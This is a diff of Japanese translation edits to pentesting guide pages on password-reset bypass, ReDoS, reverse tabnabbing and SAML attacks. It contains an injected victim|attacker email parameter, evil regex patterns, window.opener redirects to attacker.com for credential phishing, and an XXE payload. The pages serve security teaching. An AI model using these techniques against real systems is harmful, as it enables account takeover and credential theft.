### Weak Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
### Weak Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
||||||
|
|
||||||
パスワードリセットトークンは毎回ランダムに生成され、一意であるべきです。\
|
パスワードリセットトークンは毎回ランダムに生成され、一意であるべきです。\
|
||||||
トークンが期限切れになるか、常に同じかを確認してください。場合によっては、生成アルゴリズムが弱く、推測可能です。以下の変数がアルゴリズムで使用される可能性があります。
|
トークンが期限切れになるか、常に同じかを確認してください。場合によっては、生成アルゴリズムが弱く、推測可能です。以下の変数がアルゴリズムによって使用される可能性があります。
|
||||||
|
|
||||||
- タイムスタンプ
|
- タイムスタンプ
|
||||||
- ユーザーID
|
- ユーザーID
|
||||||
@ -121,7 +121,7 @@ email=victim@mail.com|hacker@mail.com
|
|||||||
|
|
||||||
1. 被害者のユーザー名と同一のユーザー名でシステムに登録しますが、ユーザー名の前後に空白を挿入します。例:`"admin "`
|
1. 被害者のユーザー名と同一のユーザー名でシステムに登録しますが、ユーザー名の前後に空白を挿入します。例:`"admin "`
|
||||||
2. 悪意のあるユーザー名でパスワードリセットをリクエストします。
|
2. 悪意のあるユーザー名でパスワードリセットをリクエストします。
|
||||||
3. あなたのメールに送信されたトークンを使用して被害者のパスワードをリセットします。
|
3. あなたのメールに送信されたトークンを使用して、被害者のパスワードをリセットします。
|
||||||
4. 新しいパスワードで被害者のアカウントに接続します。
|
4. 新しいパスワードで被害者のアカウントに接続します。
|
||||||
|
|
||||||
プラットフォームCTFdはこの攻撃に対して脆弱でした。\
|
プラットフォームCTFdはこの攻撃に対して脆弱でした。\
|
||||||
|
@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
# 正規表現サービス拒否 (ReDoS)
|
# 正規表現サービス拒否 (ReDoS)
|
||||||
|
|
||||||
**正規表現サービス拒否 (ReDoS)** は、誰かが正規表現(テキスト内のパターンを検索および一致させる方法)の動作の弱点を利用する場合に発生します。正規表現が使用されると、特に処理するテキストのサイズが大きくなると、非常に遅くなることがあります。この遅さは、テキストサイズがわずかに増加するだけで急速に悪化することがあります。攻撃者はこの問題を利用して、正規表現を使用するプログラムが長時間正常に動作しないようにすることができます。
|
**正規表現サービス拒否 (ReDoS)** は、誰かが正規表現(テキスト内のパターンを検索して一致させる方法)の動作の弱点を利用する場合に発生します。正規表現が使用されると、特に処理するテキストのサイズが大きくなると、非常に遅くなることがあります。この遅さは、テキストサイズがわずかに増加するだけで急速に悪化することがあります。攻撃者はこの問題を利用して、正規表現を使用するプログラムが長時間正常に動作しないようにすることができます。
|
||||||
|
|
||||||
## 問題のある正規表現のナイーブアルゴリズム
|
## 問題のある正規表現のナイーブアルゴリズム
|
||||||
|
|
||||||
@ -12,7 +12,7 @@
|
|||||||
|
|
||||||
## 悪意のある正規表現 <a href="#evil-regexes" id="evil-regexes"></a>
|
## 悪意のある正規表現 <a href="#evil-regexes" id="evil-regexes"></a>
|
||||||
|
|
||||||
悪意のある正規表現パターンとは、**作成された入力に引っかかり、DoSを引き起こす**ことができるものです。悪意のある正規表現パターンは、通常、繰り返しを伴うグループ化や、繰り返しまたは重複を含む選択肢を持っています。悪意のあるパターンのいくつかの例は次のとおりです:
|
悪意のある正規表現パターンとは、**作成された入力に引っかかり、DoSを引き起こす**ことができるものです。悪意のある正規表現パターンは、通常、繰り返しを伴うグループ化や、繰り返しまたは交互の重複を含んでいます。悪意のあるパターンのいくつかの例は次のとおりです:
|
||||||
|
|
||||||
- (a+)+
|
- (a+)+
|
||||||
- ([a-zA-Z]+)\*
|
- ([a-zA-Z]+)\*
|
||||||
@ -30,8 +30,8 @@ CTF(またはバグバウンティ)では、**正規表現が一致する機
|
|||||||
|
|
||||||
- [**この投稿**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) では、このReDoSルールを見つけることができます: `^(?=<flag>)((.*)*)*salt$`
|
- [**この投稿**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) では、このReDoSルールを見つけることができます: `^(?=<flag>)((.*)*)*salt$`
|
||||||
- 例: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
|
- 例: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
|
||||||
- [**この解説**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) では、次のものが見つかります: `<flag>(((((((.*)*)*)*)*)*)*)!`
|
- [**この解説**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) では、次のものを見つけることができます: `<flag>(((((((.*)*)*)*)*)*)*)!`
|
||||||
- [**この解説**](https://ctftime.org/writeup/25869) では、次のように使用されました: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
|
- [**この解説**](https://ctftime.org/writeup/25869) では、次のものを使用しました: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
|
||||||
|
|
||||||
### ReDoSの入力と正規表現の制御
|
### ReDoSの入力と正規表現の制御
|
||||||
|
|
||||||
|
@ -1,4 +1,4 @@
|
|||||||
# リセット/忘れたパスワードのバイパス
|
# パスワードリセット/忘れたパスワードのバイパス
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
@ -23,11 +23,11 @@
|
|||||||
- **参考文献**:
|
- **参考文献**:
|
||||||
- [パスワードリセットポイズニングに関するAcunetixの記事](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
- [パスワードリセットポイズニングに関するAcunetixの記事](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||||
|
|
||||||
## **メールパラメータを操作してパスワードリセット**
|
## **メールパラメータを操作してのパスワードリセット**
|
||||||
|
|
||||||
攻撃者は、リセットリンクを誘導するために追加のメールパラメータを追加することで、パスワードリセットリクエストを操作できます。
|
攻撃者は、リセットリンクを誘導するために追加のメールパラメータを追加することで、パスワードリセットリクエストを操作できます。
|
||||||
|
|
||||||
- &を使用して攻撃者のメールを2番目のパラメータとして追加します。
|
- 攻撃者のメールを第二のパラメータとして&を使用して追加します。
|
||||||
```php
|
```php
|
||||||
POST /resetPassword
|
POST /resetPassword
|
||||||
[...]
|
[...]
|
||||||
@ -85,19 +85,19 @@ POST /api/changepass
|
|||||||
[...]
|
[...]
|
||||||
("form": {"email":"victim@email.tld","password":"12345678"})
|
("form": {"email":"victim@email.tld","password":"12345678"})
|
||||||
```
|
```
|
||||||
- **緩和手順**:
|
- **緩和手段**:
|
||||||
- 厳格なパラメータ検証と認証チェックを確保する。
|
- 厳格なパラメータ検証と認証チェックを確保する。
|
||||||
- 不審な活動を検出し対応するために、堅牢なログ記録と監視を実装する。
|
- 不審な活動を検出し対応するために、堅牢なログ記録と監視を実装する。
|
||||||
- **参照**:
|
- **参考文献**:
|
||||||
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||||
|
|
||||||
## **レート制限なし: メールボンピング**
|
## **レート制限なし: メールボンピング**
|
||||||
|
|
||||||
- パスワードリセットリクエストにレート制限がないと、メールボンピングが発生し、ユーザーがリセットメールで圧倒される可能性がある。
|
- パスワードリセットリクエストにレート制限がないと、ユーザーがリセットメールで圧倒されるメールボンピングが発生する可能性がある。
|
||||||
- **緩和手順**:
|
- **緩和手段**:
|
||||||
- IPアドレスまたはユーザーアカウントに基づいてレート制限を実装する。
|
- IPアドレスまたはユーザーアカウントに基づいてレート制限を実装する。
|
||||||
- 自動化された悪用を防ぐためにCAPTCHAチャレンジを使用する。
|
- 自動化された悪用を防ぐためにCAPTCHAチャレンジを使用する。
|
||||||
- **参照**:
|
- **参考文献**:
|
||||||
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
||||||
|
|
||||||
## **パスワードリセットトークンの生成方法を調べる**
|
## **パスワードリセットトークンの生成方法を調べる**
|
||||||
@ -106,10 +106,10 @@ POST /api/changepass
|
|||||||
- タイムスタンプに基づく
|
- タイムスタンプに基づく
|
||||||
- ユーザーIDに基づく
|
- ユーザーIDに基づく
|
||||||
- ユーザーのメールに基づく
|
- ユーザーのメールに基づく
|
||||||
- 名前と姓に基づく
|
- 名字と姓に基づく
|
||||||
- 生年月日に基づく
|
- 生年月日に基づく
|
||||||
- 暗号学に基づく
|
- 暗号に基づく
|
||||||
- **緩和手順**:
|
- **緩和手段**:
|
||||||
- トークン生成に強力な暗号化手法を使用する。
|
- トークン生成に強力な暗号化手法を使用する。
|
||||||
- 予測可能性を防ぐために十分なランダム性と長さを確保する。
|
- 予測可能性を防ぐために十分なランダム性と長さを確保する。
|
||||||
- **ツール**: Burp Sequencerを使用してトークンのランダム性を分析する。
|
- **ツール**: Burp Sequencerを使用してトークンのランダム性を分析する。
|
||||||
@ -122,51 +122,51 @@ POST /api/changepass
|
|||||||
uuid-insecurities.md
|
uuid-insecurities.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
- **緩和手順**:
|
- **緩和手段**:
|
||||||
- ランダム性のためにGUIDバージョン4を使用するか、他のバージョンに対して追加のセキュリティ対策を実装する。
|
- ランダム性のためにGUIDバージョン4を使用するか、他のバージョンに対して追加のセキュリティ対策を実装する。
|
||||||
- **ツール**: [guidtool](https://github.com/intruder-io/guidtool)を使用してGUIDを分析および生成する。
|
- **ツール**: [guidtool](https://github.com/intruder-io/guidtool)を使用してGUIDを分析および生成する。
|
||||||
|
|
||||||
## **レスポンス操作: 悪いレスポンスを良いものに置き換える**
|
## **レスポンス操作: 悪いレスポンスを良いものに置き換える**
|
||||||
|
|
||||||
- エラーメッセージや制限を回避するためにHTTPレスポンスを操作する。
|
- エラーメッセージや制限を回避するためにHTTPレスポンスを操作する。
|
||||||
- **緩和手順**:
|
- **緩和手段**:
|
||||||
- レスポンスの整合性を確保するためにサーバー側のチェックを実装する。
|
- レスポンスの整合性を確保するためにサーバー側のチェックを実装する。
|
||||||
- 中間者攻撃を防ぐためにHTTPSのような安全な通信チャネルを使用する。
|
- 中間者攻撃を防ぐためにHTTPSのような安全な通信チャネルを使用する。
|
||||||
- **参照**:
|
- **参考文献**:
|
||||||
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||||
|
|
||||||
## **期限切れトークンの使用**
|
## **期限切れトークンの使用**
|
||||||
|
|
||||||
- 期限切れのトークンがパスワードリセットにまだ使用できるかどうかをテストする。
|
- 期限切れのトークンがパスワードリセットにまだ使用できるかどうかをテストする。
|
||||||
- **緩和手順**:
|
- **緩和手段**:
|
||||||
- 厳格なトークンの有効期限ポリシーを実装し、サーバー側でトークンの有効期限を検証する。
|
- 厳格なトークンの有効期限ポリシーを実装し、サーバー側でトークンの有効期限を検証する。
|
||||||
|
|
||||||
## **ブルートフォースパスワードリセットトークン**
|
## **パスワードリセットトークンのブルートフォース**
|
||||||
|
|
||||||
- BurpsuiteやIP-Rotatorのようなツールを使用してリセットトークンをブルートフォースし、IPベースのレート制限を回避しようとする。
|
- BurpsuiteやIP-Rotatorのようなツールを使用してリセットトークンをブルートフォースし、IPベースのレート制限を回避しようとする。
|
||||||
- **緩和手順**:
|
- **緩和手段**:
|
||||||
- 堅牢なレート制限とアカウントロックアウトメカニズムを実装する。
|
- 堅牢なレート制限とアカウントロックアウトメカニズムを実装する。
|
||||||
- ブルートフォース攻撃を示す不審な活動を監視する。
|
- ブルートフォース攻撃を示す不審な活動を監視する。
|
||||||
|
|
||||||
## **トークンを使用してみる**
|
## **トークンを使用してみる**
|
||||||
|
|
||||||
- 攻撃者のリセットトークンが被害者のメールと一緒に使用できるかどうかをテストする。
|
- 攻撃者のリセットトークンが被害者のメールと一緒に使用できるかどうかをテストする。
|
||||||
- **緩和手順**:
|
- **緩和手段**:
|
||||||
- トークンがユーザーセッションまたは他のユーザー固有の属性にバインドされていることを確認する。
|
- トークンがユーザーセッションまたは他のユーザー固有の属性にバインドされていることを確認する。
|
||||||
|
|
||||||
## **ログアウト/パスワードリセット時のセッション無効化**
|
## **ログアウト/パスワードリセット時のセッション無効化**
|
||||||
|
|
||||||
- ユーザーがログアウトまたはパスワードをリセットしたときにセッションが無効化されることを確認する。
|
- ユーザーがログアウトまたはパスワードをリセットしたときにセッションが無効化されることを確認する。
|
||||||
- **緩和手順**:
|
- **緩和手段**:
|
||||||
- 適切なセッション管理を実装し、ログアウトまたはパスワードリセット時にすべてのセッションが無効化されることを確保する。
|
- 適切なセッション管理を実装し、ログアウトまたはパスワードリセット時にすべてのセッションが無効化されることを確保する。
|
||||||
|
|
||||||
## **ログアウト/パスワードリセット時のセッション無効化**
|
## **ログアウト/パスワードリセット時のセッション無効化**
|
||||||
|
|
||||||
- リセットトークンには、有効期限が設定され、その後無効になるべきである。
|
- リセットトークンには、有効期限が設定され、その後無効になるべきである。
|
||||||
- **緩和手順**:
|
- **緩和手段**:
|
||||||
- リセットトークンの合理的な有効期限を設定し、サーバー側で厳格に施行する。
|
- リセットトークンの合理的な有効期限を設定し、サーバー側で厳格に施行する。
|
||||||
|
|
||||||
## 参照
|
## 参考文献
|
||||||
|
|
||||||
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||||
|
|
||||||
|
@ -2,24 +2,24 @@
|
|||||||
|
|
||||||
# 説明
|
# 説明
|
||||||
|
|
||||||
**攻撃者**が**`<a`**タグの**`href`**引数を**制御**できる状況で、属性**`target="_blank" rel="opener"`**を持つリンクが被害者によってクリックされる場合、**攻撃者**はこの**リンク**を自分の制御下にあるウェブサイト(**悪意のある****ウェブサイト**)に向けます。次に、**被害者がリンクをクリック**して攻撃者のウェブサイトにアクセスすると、この**悪意のある****ウェブサイト**はjavascriptオブジェクト**`window.opener`**を介して**元の****ページ**を**制御**できるようになります。\
|
**攻撃者**が**`<a`**タグの**`href`**引数を**制御**できる状況で、属性**`target="_blank" rel="opener"`**が設定されている場合、被害者がクリックするリンクを、**攻撃者**は自分の制御下にあるウェブサイト(**悪意のある****ウェブサイト**)に**ポイント**します。次に、**被害者がリンクをクリック**して攻撃者のウェブサイトにアクセスすると、この**悪意のある****ウェブサイト**は、javascriptオブジェクト**`window.opener`**を介して**元の****ページ**を**制御**できるようになります。\
|
||||||
ページに**`rel="opener"`**がないが**`target="_blank"`**が含まれていて、**`rel="noopener"`**がない場合も脆弱である可能性があります。
|
ページに**`rel="opener"`**がないが**`target="_blank"`**が含まれている場合、**`rel="noopener"`**がない場合も脆弱である可能性があります。
|
||||||
|
|
||||||
この動作を悪用する一般的な方法は、`window.opener.location = https://attacker.com/victim.html`を使用して**元のウェブ**の位置を攻撃者が制御するウェブに**変更**することです。これにより、**元のウェブサイト**の**ログイン****フォーム**を**模倣**し、ユーザーに資格情報を要求することができます。
|
この動作を悪用する一般的な方法は、**元のウェブの位置を変更**することです。`window.opener.location = https://attacker.com/victim.html`を使用して、攻撃者が制御する**元のものに似た**ウェブに変更し、元のウェブサイトの**ログイン****フォーム**を**模倣**してユーザーに資格情報を要求することです。
|
||||||
|
|
||||||
ただし、**攻撃者が元のウェブサイトのウィンドウオブジェクトを制御できるため**、他の方法で**より巧妙な攻撃**を行うことができることに注意してください(もしかしたら、javascriptイベントを変更して彼が制御するサーバーに情報を流出させる?)
|
ただし、**攻撃者が元のウェブサイトのウィンドウオブジェクトを制御できるため**、他の方法でそれを悪用して**隠密な攻撃**を行うことができることに注意してください(もしかしたら、javascriptイベントを変更して、彼が制御するサーバーに情報を流出させる?)
|
||||||
|
|
||||||
# 概要
|
# 概要
|
||||||
|
|
||||||
## バックリンクあり
|
## バックリンクあり
|
||||||
|
|
||||||
防止属性が使用されていない場合の親ページと子ページ間のリンク:
|
防止属性が使用されていない場合の親ページと子ページのリンク:
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
## バックリンクなし
|
## バックリンクなし
|
||||||
|
|
||||||
防止属性が使用されている場合の親ページと子ページ間のリンク:
|
防止属性が使用されている場合の親ページと子ページのリンク:
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
@ -58,7 +58,7 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
|
|||||||
```
|
```
|
||||||
## アクセス可能なプロパティ <a href="#accessible-properties" id="accessible-properties"></a>
|
## アクセス可能なプロパティ <a href="#accessible-properties" id="accessible-properties"></a>
|
||||||
|
|
||||||
**クロスオリジン** アクセスが発生するシナリオでは(異なるドメイン間のアクセス)、悪意のあるサイトがアクセスできる **opener** JavaScript オブジェクト参照によって指される **window** JavaScript クラスインスタンスのプロパティは以下のように制限されます:
|
**クロスオリジン** アクセスが発生するシナリオでは、悪意のあるサイトがアクセスできる **opener** JavaScript オブジェクト参照によって指される **window** JavaScript クラスインスタンスのプロパティは以下のように制限されます:
|
||||||
|
|
||||||
- **`opener.closed`**: このプロパティはウィンドウが閉じられたかどうかを判断するためにアクセスされ、ブール値を返します。
|
- **`opener.closed`**: このプロパティはウィンドウが閉じられたかどうかを判断するためにアクセスされ、ブール値を返します。
|
||||||
- **`opener.frames`**: このプロパティは現在のウィンドウ内のすべての iframe 要素へのアクセスを提供します。
|
- **`opener.frames`**: このプロパティは現在のウィンドウ内のすべての iframe 要素へのアクセスを提供します。
|
||||||
@ -68,11 +68,11 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
|
|||||||
- **`opener.self`**: このプロパティは現在のウィンドウ自体へのアクセスを提供します。
|
- **`opener.self`**: このプロパティは現在のウィンドウ自体へのアクセスを提供します。
|
||||||
- **`opener.top`**: このプロパティは最上位のブラウザウィンドウを返します。
|
- **`opener.top`**: このプロパティは最上位のブラウザウィンドウを返します。
|
||||||
|
|
||||||
ただし、ドメインが同一である場合、悪意のあるサイトは [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript オブジェクト参照によって公開されているすべてのプロパティにアクセスできます。
|
ただし、ドメインが同一の場合、悪意のあるサイトは [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript オブジェクト参照によって公開されているすべてのプロパティにアクセスできます。
|
||||||
|
|
||||||
# 予防
|
# 予防
|
||||||
|
|
||||||
予防情報は [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing) に文書化されています。
|
予防に関する情報は [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing) に文書化されています。
|
||||||
|
|
||||||
## 参考文献
|
## 参考文献
|
||||||
|
|
||||||
|
@ -16,7 +16,7 @@ saml-basics.md
|
|||||||
|
|
||||||
## XMLラウンドトリップ
|
## XMLラウンドトリップ
|
||||||
|
|
||||||
XMLでは、XMLの署名された部分がメモリに保存され、その後エンコーディング/デコーディングが行われ、署名がチェックされます。理想的には、そのエンコーディング/デコーディングはデータを変更しないはずですが、そのシナリオに基づくと、**チェックされるデータと元のデータは同じでない可能性があります**。
|
XMLでは、XMLの署名された部分がメモリに保存され、その後いくつかのエンコーディング/デコーディングが行われ、署名がチェックされます。理想的には、そのエンコーディング/デコーディングはデータを変更するべきではありませんが、そのシナリオに基づくと、**チェックされるデータと元のデータは同じでない可能性があります**。
|
||||||
|
|
||||||
例えば、次のコードを確認してください:
|
例えば、次のコードを確認してください:
|
||||||
```ruby
|
```ruby
|
||||||
@ -53,63 +53,63 @@ First child after round-trip: Z
|
|||||||
|
|
||||||
## XML署名ラッピング攻撃
|
## XML署名ラッピング攻撃
|
||||||
|
|
||||||
**XML署名ラッピング攻撃(XSW)**では、敵対者はXMLドキュメントが**署名検証**と**関数呼び出し**の2つの異なるフェーズを通過する際に発生する脆弱性を悪用します。これらの攻撃はXMLドキュメントの構造を変更することを含みます。具体的には、攻撃者はXML署名の有効性を損なわない**偽造要素**を**注入**します。この操作は、**アプリケーションロジック**によって分析される要素と、**署名検証モジュール**によってチェックされる要素との間に不一致を生じさせることを目的としています。その結果、XML署名は技術的には有効であり、検証を通過しますが、アプリケーションロジックは**不正な要素**を処理します。したがって、攻撃者はXML署名の**整合性保護**と**起源認証**を効果的に回避し、検出されることなく**任意のコンテンツを注入**することができます。
|
**XML署名ラッピング攻撃(XSW)**では、敵対者はXMLドキュメントが**署名検証**と**関数呼び出し**の2つの異なるフェーズを通過する際に発生する脆弱性を悪用します。これらの攻撃はXMLドキュメントの構造を変更することを含みます。具体的には、攻撃者はXML署名の有効性を損なわない**偽造要素**を**注入**します。この操作は、**アプリケーションロジック**によって分析される要素と、**署名検証モジュール**によってチェックされる要素との間に不一致を生じさせることを目的としています。その結果、XML署名は技術的には有効であり、検証を通過しますが、アプリケーションロジックは**不正要素**を処理します。したがって、攻撃者はXML署名の**整合性保護**と**起源認証**を効果的に回避し、検出されることなく**任意のコンテンツを注入**することができます。
|
||||||
|
|
||||||
以下の攻撃は[**このブログ記事**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **および** [**この論文**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)に基づいています。詳細についてはそれらを確認してください。
|
以下の攻撃は[**このブログ記事**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **および** [**この論文**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)に基づいています。詳細についてはそれらを確認してください。
|
||||||
|
|
||||||
### XSW #1
|
### XSW #1
|
||||||
|
|
||||||
- **戦略**: 署名を含む新しいルート要素が追加されます。
|
- **戦略**:署名を含む新しいルート要素が追加されます。
|
||||||
- **影響**: 検証者は正当な「Response -> Assertion -> Subject」と攻撃者の「悪意のある新しいResponse -> Assertion -> Subject」を混同する可能性があり、データ整合性の問題を引き起こします。
|
- **影響**:検証者は正当な「Response -> Assertion -> Subject」と攻撃者の「悪意のある新しいResponse -> Assertion -> Subject」を混同する可能性があり、データ整合性の問題を引き起こします。
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
### XSW #2
|
### XSW #2
|
||||||
|
|
||||||
- **XSW #1との違い**: 包含署名の代わりに切り離された署名を利用します。
|
- **XSW #1との違い**:包み込み署名の代わりに切り離された署名を利用します。
|
||||||
- **影響**: XSW #1と同様の「悪意のある」構造は、整合性チェック後にビジネスロジックを欺くことを目的としています。
|
- **影響**:「悪意のある」構造は、XSW #1と同様に、整合性チェック後のビジネスロジックを欺くことを目的としています。
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
### XSW #3
|
### XSW #3
|
||||||
|
|
||||||
- **戦略**: 元のアサーションと同じ階層レベルで悪意のあるアサーションが作成されます。
|
- **戦略**:元のアサーションと同じ階層レベルで悪意のあるアサーションが作成されます。
|
||||||
- **影響**: ビジネスロジックを混乱させて悪意のあるデータを使用させることを意図しています。
|
- **影響**:ビジネスロジックを混乱させて悪意のあるデータを使用させることを意図しています。
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
### XSW #4
|
### XSW #4
|
||||||
|
|
||||||
- **XSW #3との違い**: 元のアサーションが複製された(悪意のある)アサーションの子になります。
|
- **XSW #3との違い**:元のアサーションが複製された(悪意のある)アサーションの子要素になります。
|
||||||
- **影響**: XSW #3と似ていますが、XML構造をより攻撃的に変更します。
|
- **影響**:XSW #3と似ていますが、XML構造をより攻撃的に変更します。
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
### XSW #5
|
### XSW #5
|
||||||
|
|
||||||
- **ユニークな側面**: 署名も元のアサーションも標準構成(包含/包含する/切り離された)に従っていません。
|
- **ユニークな側面**:署名も元のアサーションも標準構成(包み込み/包み込まれた/切り離された)に従っていません。
|
||||||
- **影響**: コピーされたアサーションが署名を包み、期待されるドキュメント構造を変更します。
|
- **影響**:コピーされたアサーションが署名を包み込み、期待されるドキュメント構造を変更します。
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
### XSW #6
|
### XSW #6
|
||||||
|
|
||||||
- **戦略**: XSW #4および#5と同様の位置挿入ですが、ひねりがあります。
|
- **戦略**:XSW #4および#5と同様の位置挿入ですが、ひねりがあります。
|
||||||
- **影響**: コピーされたアサーションが署名を包み、その後元のアサーションを包むことで、入れ子の欺瞞的な構造を作成します。
|
- **影響**:コピーされたアサーションが署名を包み込み、その後元のアサーションを包み込むことで、入れ子の欺瞞的な構造を作成します。
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
### XSW #7
|
### XSW #7
|
||||||
|
|
||||||
- **戦略**: コピーされたアサーションを子として持つExtensions要素が挿入されます。
|
- **戦略**:コピーされたアサーションを子要素として持つExtensions要素が挿入されます。
|
||||||
- **影響**: Extensions要素の制約が少ないスキーマを利用して、特にOpenSAMLのようなライブラリでスキーマ検証対策を回避します。
|
- **影響**:Extensions要素の制約が少ないスキーマを利用して、特にOpenSAMLのようなライブラリでスキーマ検証対策を回避します。
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
### XSW #8
|
### XSW #8
|
||||||
|
|
||||||
- **XSW #7との違い**: 攻撃のバリエーションのために別の制約の少ないXML要素を利用します。
|
- **XSW #7との違い**:攻撃のバリエーションのために別の制約の少ないXML要素を利用します。
|
||||||
- **影響**: 元のアサーションが制約の少ない要素の子になり、XSW #7で使用された構造を逆転させます。
|
- **影響**:元のアサーションが制約の少ない要素の子要素になり、XSW #7で使用された構造を逆転させます。
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
@ -125,7 +125,7 @@ XXE攻撃がどのようなものか知らない場合は、以下のページ
|
|||||||
../xxe-xee-xml-external-entity.md
|
../xxe-xee-xml-external-entity.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
SAMLレスポンスは**圧縮され、base64エンコードされたXMLドキュメント**であり、XML外部エンティティ(XXE)攻撃に対して脆弱である可能性があります。SAMLレスポンスのXML構造を操作することで、攻撃者はXXEの脆弱性を悪用しようとすることができます。このような攻撃がどのように視覚化されるかは次のとおりです:
|
SAMLレスポンスは**デフレートされ、base64エンコードされたXMLドキュメント**であり、XML外部エンティティ(XXE)攻撃に対して脆弱である可能性があります。SAMLレスポンスのXML構造を操作することで、攻撃者はXXE脆弱性を悪用しようとすることができます。このような攻撃がどのように視覚化されるかは次のとおりです:
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE foo [
|
<!DOCTYPE foo [
|
||||||
@ -181,7 +181,7 @@ XSLTに関する詳細情報は、以下にアクセスしてください:
|
|||||||
```
|
```
|
||||||
### ツール
|
### ツール
|
||||||
|
|
||||||
Burp拡張機能[**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)を使用して、SAMLリクエストからPOCを生成し、XSLTの脆弱性をテストできます。
|
Burp拡張機能[**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)を使用して、SAMLリクエストからPOCを生成し、XSLTの脆弱性をテストすることもできます。
|
||||||
|
|
||||||
このトークもチェックしてください: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
このトークもチェックしてください: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||||||
|
|
||||||
@ -193,7 +193,7 @@ Burp拡張機能[**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb1
|
|||||||
|
|
||||||
### ツール <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
|
### ツール <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
|
||||||
|
|
||||||
Burp拡張機能[**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)を使用できます。SAMLレスポンスを傍受し、`Remove Signatures`をクリックします。これにより、**すべての**署名要素が削除されます。
|
Burp拡張機能[**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)を使用することもできます。SAMLレスポンスを傍受し、`Remove Signatures`をクリックします。これにより、**すべての**署名要素が削除されます。
|
||||||
|
|
||||||
署名が削除された状態で、リクエストをターゲットに進めます。サービスによって署名が必要ない場合
|
署名が削除された状態で、リクエストをターゲットに進めます。サービスによって署名が必要ない場合
|
||||||
|
|
||||||
@ -201,23 +201,23 @@ Burp拡張機能[**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb1
|
|||||||
|
|
||||||
## 証明書の偽造
|
## 証明書の偽造
|
||||||
|
|
||||||
